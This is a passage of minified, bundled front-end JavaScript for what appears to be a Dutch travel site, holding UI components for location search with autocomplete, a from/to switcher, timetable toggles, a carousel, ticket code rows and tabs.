c.on(n.el, "click", n.selectors.switcher, function (e) { - var t = { - value: n.fromSelect.getValue(), - label: n.fromSelect.getLabel(), - icon: n.fromSelect.getIcon() - }; - var i = { - value: n.toSelect.getValue(), - label: n.toSelect.getLabel(), - icon: n.toSelect.getIcon() - }; - n.fromSelect.setSelected(i); - n.toSelect.setSelected(t); - n.fromSelect.triggerChange(); - n.toSelect.triggerChange() - }) - } - return n - } - return t - }(p.Component); - g.default_settings = { - attributes: true, - onChange: function e() {}, - withFavorite: false, - switch: true, - style: "normal" - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(114); - var r = w(n); - var a = i(3); - var s = w(a); - var o = i(1); - var l = w(o); - var u = i(6); - var d = w(u); - var f = i(4); - var c = w(f); - var h = i(5); - var m = w(h); - var p = i(7); - var v = b(p); - var _ = i(458); - var g = w(_); - var y = i(2); - - function b(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function w(e) { - return e && e.__esModule ? e : { - default: e - } - } - var M = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.state = { - switchDisabled: false - }; - n.switcher = n.el.querySelector(".location-switch"); - var a = n.el.querySelectorAll(".location-search"); - var o = a[0]; - n.fromSelect = new g.default(o, { - ajax: o.getAttribute("data-ajax", ""), - previoussearches: o.getAttribute("data-previoussearches", "[]") - }); - n.fromSelect.el.addEventListener("focus", function (e) { - e.preventDefault(); - var t = new CustomEvent("focus", { - detail: (0, r.default)({}, e.detail, { - type: "from" - }) - }); - n.el.dispatchEvent(t) - }); - n.fromSelect.el.addEventListener("change", function (e) { - e.preventDefault(); - n.decideSwitcher(); - var t = new CustomEvent("change", { - detail: (0, r.default)({}, e.detail, { - type: "from" - }) - }); - n.el.dispatchEvent(t); - n.settings.onChange(t) - }); - n.fromSelect.el.addEventListener("submit", function (e) { - e.preventDefault(); - var t = new CustomEvent("submit", { - detail: (0, r.default)({}, e.detail, { - type: "from" - }) - }); - n.el.dispatchEvent(t); - n.toSelect.focus() - }); - var u = a[1]; - n.toSelect = new g.default(u, { - ajax: u.getAttribute("data-ajax", ""), - previoussearches: u.getAttribute("data-previoussearches", "[]") - }); - n.toSelect.el.addEventListener("focus", function (e) { - e.preventDefault(); - var t = new CustomEvent("focus", { - detail: (0, r.default)({}, e.detail, { - type: "to" - }) - }); - n.el.dispatchEvent(t) - }); - n.toSelect.el.addEventListener("change", function (e) { - e.preventDefault(); - n.decideSwitcher(); - var t = new CustomEvent("change", { - detail: (0, r.default)({}, e.detail, { - type: "to" - }) - }); - n.el.dispatchEvent(t); - n.settings.onChange(t) - }); - n.toSelect.el.addEventListener("submit", function (e) { - var t = new CustomEvent("submitTo", { - detail: (0, r.default)({}, e.detail, { - type: "to" - }) - }); - n.el.dispatchEvent(t); - n.settings.onSubmitTo(t) - }); - n.switcher && n.switcher.addEventListener("click", function (e) { - if (n.switcherDisabled()) { - return - } - var t = n.fromSelect.getCurrentItem(); - var i = n.toSelect.getCurrentItem(); - n.fromSelect.setSelected(i); - n.toSelect.setSelected(t) - }); - n.disableSwitcher(); - n.decideSwitcher(); - return n - }(0, d.default)(t, [{ - key: "disableSwitcher", - value: function e(t) { - if (t) { - this.state.switchDisabled = true - } - this.switcher && this.switcher.setAttribute("disabled", "disabled") - } - }, { - key: "enableSwitcher", - value: function e() { - this.state.switchDisabled = false; - this.decideSwitcher() - } - }, { - key: "_enableSwitcher", - value: function e() { - this.switcher && this.switcher.removeAttribute("disabled") - } - }, { - key: "switcherDisabled", - value: function e() { - this.switcher && this.switcher.getAttribute("disabled") !== null - } - }, { - key: "decideSwitcher", - value: function e() { - if (this.state.switchDisabled) { - return - } - this._enableSwitcher(); - var t = this.fromSelect.getCurrentItem(); - var i = this.toSelect.getCurrentItem(); - if (t == null && i == null) { - this.disableSwitcher() - } - } - }]); - return t - }(y.Component); - M.default_settings = { - attributes: true, - onChange: function e() {}, - onSubmitTo: function e() {} - }; - t.default = M - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(459); - var r = b(n); - var a = i(3); - var s = b(a); - var o = i(1); - var l = b(o); - var u = i(6); - var d = b(u); - var f = i(4); - var c = b(f); - var h = i(5); - var m = b(h); - var p = i(2); - var v = i(7); - var _ = y(v); - var g = i(15); - - function y(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function b(e) { - return e && e.__esModule ? e : { - default: e - } - } - var w = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.baseClass = "location-search"; - n.optionEls = []; - n.options = []; - n.isOpen = false; - n.currentItem = null; - n.currentQuery = ""; - n.loadingDelay = null; - n.settings.searchtimeout = parseInt(n.settings.searchtimeout); - if (isNaN(n.settings.searchtimeout)) { - n.settings.searchtimeout = t.default_settings.searchtimeout - } - n.searchDebounced = n.debounced(n.settings.searchtimeout, n.search.bind(n)); - n.el = e; - n.input = e.querySelector("." + n.baseClass + "-input"); - n.hiddenInput = e.querySelector("[type=hidden]"); - n.ariaHelp = e.querySelector("." + n.baseClass + "-help"); - n.noResults = e.querySelector("." + n.baseClass + "-noresults"); - n.trigger = n.el.querySelector(".location-search-input-container"); - n.content = n.el.querySelector(".location-search-dropdown"); - n.origId = n.input.getAttribute("id"); - n.newId = n.origId + "_orig"; - n.handleClose = n.handleClose.bind(n); - n.handleOptionClick = n.handleOptionClick.bind(n); - n.handleOptionFavorite = n.handleOptionFavorite.bind(n); - n.input.addEventListener("keydown", n.handleInputKeyDown.bind(n)); - n.input.addEventListener("input", n.handleInputChange.bind(n)); - n.input.addEventListener("focus", n.handleInputFocus.bind(n)); - n.buildListbox(); - n.previousSearchesLabel = n.el.querySelector("." + n.baseClass + "-history"); - var r = n.settings.previoussearches; - if (r.length > 0 && (typeof r === "string" || r instanceof String)) { - n.settings.previoussearches = JSON.parse(r) - } - n.renderPreviousSearches(); - var a = n.hiddenInput.getAttribute("data-prop-json"); - var o = n.hiddenInput.value; - if (a && a.length && o && o.length) { - try { - n.setCurrentItem(JSON.parse(a)) - } catch (e) {} - } - return n - }(0, d.default)(t, [{ - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.content.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = this.trigger.getBoundingClientRect(), - o = s.height; - var l = r + i + a; - var u = (0, g.getScreenSize)(); - if (a + o >= window.innerHeight) { - var d = 0; - if (u == "sm" || u == "md" || u == "lg" || u == "xl") { - var f = document.querySelector(".navigation-bar").getBoundingClientRect(), - c = f.height; - d = c - } - window.scrollTo(0, i + r - o - d) - } else if (l > window.innerHeight + i && (u == "md" || u == "sm")) { - window.scrollTo(0, r + window.scrollY - 80 - o) - } else if (l > window.innerHeight + i) { - window.scrollTo(0, l - window.innerHeight) - } - } - }, { - key: "buildOption", - value: function e(t, i) { - var n = t.text || ""; - var r = this.currentQuery; - if (r && n) { - var a = new RegExp(_.regexcape(r), "i"); - var s = n.search(a); - if (s > -1) { - n = n.substring(0, s) + "" + n.substring(s, s + r.length) + "" + n.substring(s + r.length, n.length) - } - } - var o = this.baseClass + "-" + this.origId + "-" + i; - var l = document.createElement("LI"); - l.setAttribute("id", o); - l.setAttribute("tabindex", -1); - l.setAttribute("role", "option"); - l.setAttribute("data-item-index", i); - l.classList.add(this.baseClass + "-option"); - var u = "icon-" + t.icon; - var d = '\n \n \n \n \n \n '; - var f = '\n ' + n + "\n "; - var c = ""; - if (this.settings.withfavorites) { - var h = Math.random() > .5; - var m = h ? "icon-star" : "icon-star-outline"; - var p = h ? "is-favorite" : ""; - c = '\n \n ' - } - var v = d + f + c; - l.innerHTML = v; - l.addEventListener("click", this.handleOptionClick); - l.querySelector("." + this.baseClass + "-option-favorite") && l.querySelector("." + this.baseClass + "-option-favorite").addEventListener("click", this.handleOptionFavorite); - return l - } - }, { - key: "buildListbox", - value: function e() { - this.listbox = document.createElement("UL"); - this.listbox.classList.add(this.baseClass + "-list"); - this.listbox.setAttribute("role", "listbox"); - this.listbox.addEventListener("keydown", this.handleListboxKeyDown.bind(this)); - this.el.querySelector(".location-search-dropdown").appendChild(this.listbox) - } - }, { - key: "renderListbox", - value: function e() { - var t = this; - if (this.listbox) { - this.destroyListbox() - } - this.options.map(function (e, i) { - return t.buildOption(e, i) - }).forEach(function (e) { - t.optionEls.push(e); - t.listbox.appendChild(e) - }); - if (this.optionEls.length) { - this.el.querySelector(".location-search-dropdown").classList.add("location-search-dropdown-filled") - } - setTimeout(function () { - t.scrollVisible() - }, 100) - } - }, { - key: "destroyListbox", - value: function e() { - var t = this; - if (!this.listbox) { - return - } - this.optionEls.forEach(function (e) { - e.removeEventListener("click", t.handleOption); - e.remove() - }); - this.el.querySelector(".location-search-dropdown").classList.remove("location-search-dropdown-filled") - } - }, { - key: "handleInputKeyDown", - value: function e(t) { - var i = t.keyCode; - if (i === 40) { - t.preventDefault(); - this.listbox.setAttribute("tabindex", "0"); - var n = "." + this.baseClass + "-option:first-child"; - var r = this.listbox.querySelector(n); - if (!r) { - return - } - this.listbox.focus(); - this.updateSelectedEl(r); - return - } - if (i === 9) { - this.handleTabOut(); - return - } - if (i === 27) { - this.handleTabOut() - } - if (i === 13) { - this.handleTabOut() - } - } - }, { - key: "handleInputChange", - value: function e() { - var t = this.input.value; - this.currentQuery = t; - if (t.length >= this.settings.minchars) { - this.searchDebounced(t); - return - } else { - this.renderSearchResults([]) - } - this.renderPreviousSearches() - } - }, { - key: "handleTabOut", - value: function e() { - var t = this.input.value.toLowerCase(); - var i = this.options.findIndex(function (e) { - return e.text.toLowerCase().indexOf(t) > -1 - }); - if (t !== "" && i > -1) { - var n = this.listbox.querySelector('[data-item-index="' + i + '"]'); - this.updateSelectedEl(n) - } else { - this.clearCurrentItem() - } - this.deactivate() - } - }, { - key: "renderPreviousSearches", - value: function e() { - if (this.settings.previoussearches.length === 0) { - return - } - this.options = this.settings.previoussearches; - this.isPreviousSearches = true; - this.previousSearchesLabel.classList.add("is-active"); - this.previousSearchesLabel.innerText = this.settings.recentsearches; - this.renderListbox() - } - }, { - key: "search", - value: function e(t) { - var i = this; - if (this.currentQuery == "" || t == "") { - return - } - this.loadingDelay = setTimeout(function () { - i.loadingStart() - }, 150); - this.fetchAjaxOptions(this.currentQuery).then(function (e) { - clearTimeout(i.loadingDelay); - i.loadingEnd(); - if (!i.settings.debug) { - if (e.query && e.query.toLowerCase() != i.currentQuery.toLowerCase()) { - return - } - } - if (i.settings.debug) { - if (Math.random() > .5) { - i.showNoResults(false); - i.renderSearchResults(e.results) - } else { - i.showNoResults(true); - i.renderSearchResults([]) - } - return - } - i.showNoResults(e.results.length === 0); - i.renderSearchResults(e.results) - }) - } - }, { - key: "loadingStart", - value: function e() { - this.noResults.innerHTML = '
 
'; - this.noResults.classList.add("is-active") - } - }, { - key: "loadingEnd", - value: function e() { - this.noResults.innerHTML = ""; - this.noResults.classList.remove("is-active") - } - }, { - key: "renderSearchResults", - value: function e(t) { - this.options = t; - this.isPreviousSearches = false; - this.previousSearchesLabel.innerText = this.settings.newsearch; - if (t.length > 0) { - this.ariaHelp.innerText = this.settings.ariahelp.replace("{resultCount}", t.length).replace("{query}", this.currentQuery) - } - this.renderListbox() - } - }, { - key: "showNoResults", - value: function e(t) { - if (t) { - this.noResults.innerText = this.settings.noresults; - this.noResults.classList.add("is-active"); - this.ariaHelp.innerText = this.settings.noresults; - return - } - this.noResults.innerText = "NOT FOUND"; - this.noResults.classList.remove("is-active") - } - }, { - key: "debounced", - value: function e(t, i) { - var n = void 0; - return function () { - for (var e = arguments.length, r = Array(e), a = 0; a < e; a++) { - r[a] = arguments[a] - } - if (n) { - clearTimeout(n) - } - n = setTimeout(function () { - i.apply(undefined, r); - n = null - }, t) - } - } - }, { - key: "fetchAjaxOptions", - value: function e(t) { - return fetch("" + this.settings.ajax + t, { - Accept: "application/json", - credentials: "same-origin" - }).then(function (e) { - return e.json() - }) - } - }, { - key: "handleListboxKeyDown", - value: function e(t) { - var i = t.keyCode; - if (i === 13) { - t.preventDefault(); - t.stopPropagation(); - this.submitCurrentItem(); - return - } - if (i === 9) { - this.deactivate(); - return - } - var n = null; - if (i == 40) { - t.preventDefault(); - var r = this.getSelectedOption(); - n = r && r.nextElementSibling - } - if (i == 38) { - t.preventDefault(); - var a = this.getSelectedOption(); - n = a && a.previousElementSibling - } - if (n) { - this.updateSelectedEl(n) - } - } - }, { - key: "updateSelectedEl", - value: function e(t) { - this.clearAllSelected(); - this.listbox.setAttribute("aria-activedescendant", t.getAttribute("id")); - t.classList.add("is-selected"); - var i = parseInt(t.getAttribute("data-item-index")); - var n = this.getItemByIdx(i); - this.setCurrentItem(n) - } - }, { - key: "setCurrentItem", - value: function e(t) { - this.currentItem = t; - this.hiddenInput.value = ""; - this.clearDataProps(); - this.input.value = ""; - if (this.currentItem) { - var i = this.currentItem, - n = i.value, - r = i.text; - this.hiddenInput.value = n; - this.addDataProps(this.currentItem); - this.input.value = r - } - this.triggerChange() - } - }, { - key: "clearDataProps", - value: function e() { - this.hiddenInput.removeAttribute("data-prop-json") - } - }, { - key: "addDataProps", - value: function e(t) { - this.hiddenInput.setAttribute("data-prop-json", (0, r.default)(t)) - } - }, { - key: "triggerChange", - value: function e() { - var t = this.currentItem ? this.currentItem : { - label: "", - value: "" - }, - i = t.label, - n = t.value; - var r = new CustomEvent("change", { - detail: { - label: i, - value: n - } - }); - this.hiddenInput.dispatchEvent(new CustomEvent("change")); - this.el.dispatchEvent(r) - } - }, { - key: "submitCurrentItem", - value: function e() { - this.deactivate(); - this.clearAllSelected(); - var t = this.currentItem, - i = t.label, - n = t.value; - var r = new CustomEvent("submit", { - detail: { - label: i, - value: n - } - }); - this.el.dispatchEvent(r) - } - }, { - key: "clearCurrentItem", - value: function e() { - this.currentItem = null; - this.hiddenInput.value = ""; - this.hiddenInput.dispatchEvent(new CustomEvent("change")); - this.listbox.removeAttribute("aria-activedescendant"); - this.setCurrentItem(null); - this.clearDataProps() - } - }, { - key: "clearAllSelected", - value: function e() { - this.optionEls.forEach(function (e) { - return e.classList.remove("is-selected") - }) - } - }, { - key: "getItemByIdx", - value: function e(t) { - return this.isPreviousSearches ? this.settings.previoussearches[t] : this.options[t] - } - }, { - key: "handleOptionFavorite", - value: function e(t) { - t.preventDefault(); - t.stopPropagation(); - return false - } - }, { - key: "handleOptionClick", - value: function e(t) { - t.preventDefault(); - t.stopPropagation(); - this.updateSelectedEl(t.currentTarget); - this.submitCurrentItem() - } - }, { - key: "getSelectedOption", - value: function e() { - return this.listbox.querySelector(".is-selected") - } - }, { - key: "handleInputFocus", - value: function e(t) { - document.body.addEventListener("click", this.handleClose); - this.activate(); - this.el.dispatchEvent(new CustomEvent("focus")) - } - }, { - key: "handleClose", - value: function e(t) { - if (!this.el.contains(t.target)) { - this.deactivate(); - document.body.removeEventListener("click", this.handleClose) - } - } - }, { - key: "getCurrentItem", - value: function e() { - if (this.currentItem) { - return this.currentItem - } - return null - } - }, { - key: "setSelected", - value: function e(t) { - this.setCurrentItem(t) - } - }, { - key: "focus", - value: function e() { - this.input.focus(); - this.activate() - } - }, { - key: "activate", - value: function e() { - var t = this; - this.el.classList.add("is-active"); - setTimeout(function () { - t.scrollVisible() - }, 60) - } - }, { - key: "deactivate", - value: function e() { - this.el.classList.remove("is-active"); - this.showNoResults(false); - if (this.input.value === "") { - this.setCurrentItem(null) - } - } - }]); - return t - }(p.Component); - w.default_settings = { - ajax: false, - noresults: "No results found", - newsearch: "Nieuwe zoekopdracht", - recentsearches: "Recente zoekopdrachten", - ariahelp: "Er zijn {resultCount} resultaten voor {query}. Gebruik de pijltjes om door de opties te navigeren", - previoussearches: null, - withfavorites: false, - minchars: 0, - searchtimeout: 500, - debug: false, - attributes: true - }; - t.default = w - }, function (e, t, i) { - e.exports = { - default: i(460), - __esModule: true - } - }, function (e, t, i) { - var n = i(14); - var r = n.JSON || (n.JSON = { - stringify: JSON.stringify - }); - e.exports = function e(t) { - return r.stringify.apply(r, arguments) - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = _(n); - var a = i(3); - var s = _(a); - var o = i(1); - var l = _(o); - var u = i(6); - var d = _(u); - var f = i(4); - var c = _(f); - var h = i(5); - var m = _(h); - var p = i(2); - var v = i(7); - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.rows = (0, r.default)(n.el.querySelectorAll(".time-table__row")); - n.bindEvents(); - return n - }(0, d.default)(t, [{ - key: "bindEvents", - value: function e(t) { - var i = this; - this.handleRowToggle = this.handleRowToggle.bind(this); - this.rows.forEach(function (e) { - var t = e.querySelector(".toggle > a"); - if (t) { - t.addEventListener("click", i.handleRowToggle); - t.setAttribute("aria-expanded", false) - } - }) - } - }, { - key: "handleRowToggle", - value: function e(t) { - t.preventDefault(); - var i = t.currentTarget; - var n = i.parentNode.parentNode.parentNode.querySelector(".time-table__detail"); - if (n) { - if ((0, v.hasClass)(n, "is-active")) { - i.setAttribute("aria-expanded", false) - } else { - i.setAttribute("aria-expanded", true) - } - n.classList.toggle("is-active") - } - } - }]); - return t - }(p.Component); - g.defaultSettings = { - attributes: false - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = g(n); - var a = i(1); - var s = g(a); - var o = i(6); - var l = g(o); - var u = i(4); - var d = g(u); - var f = i(5); - var c = g(f); - var h = i(15); - var m = i(7); - var p = _(m); - var v = i(2); - - function _(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function g(e) { - return e && e.__esModule ? e : { - default: e - } - } - var y = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.bindEvents(); - return n - }(0, l.default)(t, [{ - key: "bindEvents", - value: function e() {} - }]); - return t - }(v.Component); - y.default_settings = { - attributes: true - }; - t.default = y - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.HighlightBlockCarousel = t.default = undefined; - var n = i(6); - var r = _(n); - var a = i(3); - var s = _(a); - var o = i(1); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(7); - var m = v(h); - var p = i(2); - - function v(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - return (0, d.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)) - } - return t - }(p.Component); - g.defaultSettings = { - attributes: true - }; - g.instances = []; - var y = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.onNext = n.onNext.bind(n); - n.items = n.el.children; - n.btnNo = m.get(".btn--no", n.el, true); - n.btnNo.forEach(function (e) { - e.addEventListener("click", n.onNext) - }); - return n - }(0, r.default)(t, [{ - key: "onNext", - value: function e(t) { - t.preventDefault(); - var i = this.items[this.items.length - 1]; - this.el.insertBefore(i, this.items[0]); - return false - } - }]); - return t - }(p.Component); - y.defaultSettings = { - attributes: true - }; - y.instances = []; - t.default = g; - t.HighlightBlockCarousel = y - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(3); - var r = b(n); - var a = i(4); - var s = b(a); - var o = i(5); - var l = b(o); - var u = i(1); - var d = b(u); - var f = i(6); - var c = b(f); - var h = i(7); - var m = y(h); - var p = i(153); - var v = b(p); - var _ = i(2); - var g = i(15); - - function y(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function b(e) { - return e && e.__esModule ? e : { - default: e - } - } - var w = function () { - function e(t) { - var i = t.parent, - n = t.settings, - r = t.onCodeSave, - a = t.code, - s = a === undefined ? "" : a; - (0, d.default)(this, e); - this.state = { - valid: false, - code: s - }; - this.parent = i; - this.settings = n; - this.onCodeSave = r; - this.el = this.parent.appendChild(this.create()); - this.input = m.get(".input", this.el); - this.inputField = m.get("input", this.el); - new v.default(this.inputField); - if (this.state.code.length) { - this.setValidation(true) - } - this.el.querySelector(".btn").addEventListener("click", this.onAdd.bind(this)); - this.inputField.addEventListener("input", this.onChange.bind(this)) - }(0, c.default)(e, [{ - key: "create", - value: function e() { - var t = "code-row-" + (new Date).getTime() + "-" + parseInt(Math.random() * 999999); - var i = this.settings, - n = i.codelabel, - r = i.codename, - a = i.codemask, - s = i.codeplaceholder, - o = i.codecta; - var l = '\n
\n \n \n \n \n \n
\n\n "; - var u = document.createElement("div"); - u.classList.add("ticket__codelist__row"); - u.innerHTML = l; - return u - } - }, { - key: "onAdd", - value: function e(t) { - if (this.state.code.length) { - this.onCodeSave(this, this.state.code) - } else { - this.setValidation(false) - } - } - }, { - key: "onChange", - value: function e(t) { - this.state.code = this.inputField.value - } - }, { - key: "setValidation", - value: function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; - if (t) { - m.addClass(this.input, "success") - } else { - m.removeClass(this.input, "success") - } - this.state.valid = t - } - }, { - key: "isValid", - value: function e() { - return this.state.valid - } - }]); - return e - }(); - var M = function (e) { - (0, l.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, d.default)(this, t); - var n = (0, s.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.state = { - codeRows: [], - extraActive: false - }; - n.selectors = { - titleTrigger: ".ticket__title--trigger", - multiTrigger: ".ticket__actions .btn", - codeContainer: ".ticket__codelist" - }; - if (n.isMulti()) { - n.el.querySelector(".ticket__content .ticket__actions .btn").addEventListener("click", function (e) { - e.preventDefault(); - n.setExtraActive(!n.state.extraActive); - return false - }) - } - n.titleTrigger = n.el.querySelector(n.selectors.titleTrigger); - if (n.titleTrigger) { - n.titleTrigger.setAttribute("aria-expanded", "false"); - n.titleTrigger.addEventListener("click", function (e) { - e.preventDefault(); - n.setExtraActive(!n.state.extraActive); - return false - }) - } - n.codeContainer = m.get(n.selectors.codeContainer, e); - if (parseInt(n.settings.code) === 1) { - n.initForCodes() - } - return n - }(0, c.default)(t, [{ - key: "isMulti", - value: function e() { - return m.hasClass(this.el, "ticket--multi") - } - }, { - key: "initForCodes", - value: function e() { - var t = this; - this.settings.codes = JSON.parse(this.settings.codes); - this.state.codeRows = this.settings.codes.map(function (e) { - return new w({ - parent: t.codeContainer, - settings: t.settings, - onCodeSave: t.onCodeSave.bind(t), - code: e - }) - }); - this.checkCodeRowValidationState() - } - }, { - key: "toggleMultiTriggerButton", - value: function e() { - var t = this.el.querySelector(".ticket__content .ticket__actions .btn"); - var i = t.innerHTML; - var n = t.getAttribute("data-toggle-label"); - t.setAttribute("data-toggle-label", i); - t.innerHTML = n - } - }, { - key: "setExtraActive", - value: function e(t) { - if (t) { - m.addClass(this.el, "active") - } else { - m.removeClass(this.el, "active") - } - this.titleTrigger.setAttribute("aria-expanded", t ? "true" : false); - if (this.isMulti()) { - this.toggleMultiTriggerButton() - } - this.state.extraActive = t; - this.scrollVisible() - } - }, { - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.el.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = r + i + a; - if (a >= window.innerHeight) { - var o = document.body.classList.contains("cookied") ? document.querySelector(".cookie-notice").getBoundingClientRect() : document.querySelector(".navigation-bar").getBoundingClientRect(), - l = o.height; - var u = l; - window.scrollTo(0, i + r - u) - } else if (s > window.innerHeight + i) { - window.scrollTo(0, s - window.innerHeight + 20) - } - } - }, { - key: "checkCodeRowValidationState", - value: function e() { - var t = this.state.codeRows; - var i = t.filter(function (e) { - return e.isValid() - }); - if (i.length === t.length) { - t.push(new w({ - parent: this.codeContainer, - settings: this.settings, - onCodeSave: this.onCodeSave.bind(this) - })) - } - } - }, { - key: "onCodeSave", - value: function e(t, i) {} - }, { - key: "setValidation", - value: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - this.state.codeRows.forEach(function (e) { - if (e.name === t) { - e.setValidation(i) - } - }) - } - }]); - return t - }(_.Component); - M.defaultSettings = { - attributes: true, - code: 0, - codes: [], - codemask: "", - codeplaceholder: "", - codename: "", - codelabel: "", - codecta: "" - }; - t.default = M - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(6); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(7); - var m = v(h); - var p = i(2); - - function v(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.tabs = m.get("ul li", n.el); - n.tabPanels = n.tabs.map(function (e) { - var t = e.querySelector("a").attributes["aria-controls"].value; - return document.querySelector(".tabs-content > div#" + t) - }); - n.onTabClick = n.onTabClick.bind(n); - n.onTabKeyUp = n.onTabKeyUp.bind(n); - n.init(); - window.addEventListener("resize", n.onResize.bind(n)); - return n - }(0, l.default)(t, [{ - key: "init", - value: function e() { - var t = this; - this.tabs.forEach(function (e) { - t.addTabEvents(e) - }); - if (this.isMobile()) { - this.setNewFirst(this.getFirstTab(), true) - } - } - }, { - key: "onResize", - value: function e(t) {} - }, { - key: "addTabEvents", - value: function e(t) { - var i = t.querySelector("a"); - i.addEventListener("click", this.onTabClick.bind(this, t)); - i.addEventListener("keyup", this.onTabKeyUp.bind(this)) - } - }, { - key: "setIcon", - value: function e() { - var t = document.createElement("span"); - t.classList.add("icon-wrapper"); - t.innerHTML = ''; - this.tabs.forEach(function (e) { - if (e.querySelector(".icon-wrapper") !== null) { - e.removeChild(e.querySelector(".icon-wrapper")) - } - }); - this.getFirstTab().appendChild(t) - } - }, { - key: "onTabKeyUp", - value: function e(t) { - var i = t.keyCode || t.which; - var n = this.getActive(); - var r = null; - switch (i) { - case 37: - if (n.previousElementSibling) { - r = n.previousElementSibling - } else { - r = this.getLastTab() - } - this.onTabClick(r, t); - r.focus(); - break; - case 39: - if (n.nextElementSibling) { - r = n.nextElementSibling - } else { - r = this.getFirstTab() - } - this.onTabClick(r, t); - r.focus(); - break; - default: - t.preventDefault(); - return false - } - } - }, { - key: "onTabClick", - value: function e(t, i) { - i.preventDefault(); - if (this.isMobile() && this.getFirstTab() === t) { - this.tabs.forEach(function (e) { - e.classList.add("show") - }); - return false - } - this.tabs.forEach(function (e) { - e.classList.remove("active"); - e.classList.remove("show"); - var t = e.querySelector("a"); - t.setAttribute("aria-selected", false); - t.setAttribute("tabindex", -1) - }); - this.tabPanels.forEach(function (e) { - e.setAttribute("aria-hidden", true); - e.classList.remove("active") - }); - t.classList.add("active"); - var n = t.querySelector("a"); - n.setAttribute("aria-selected", true); - n.setAttribute("tabindex", 0); - var r = this.getTabPanelById(n.attributes["aria-controls"].value); - r.classList.add("active"); - r.setAttribute("aria-hidden", false); - if (this.isMobile()) { - this.setNewFirst(t) - } - return false - } - }, { - key: "setNewFirst", - value: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; - var n = t.cloneNode(true); - n.classList.add("label"); - this.addTabEvents(n); - if (!i) { - this.el.querySelector("ul").removeChild(this.getFirstTab()) - } - this.el.querySelector("ul").insertBefore(n, this.getFirstTab()); - this.setIcon() - } - }, { - key: "isMobile", - 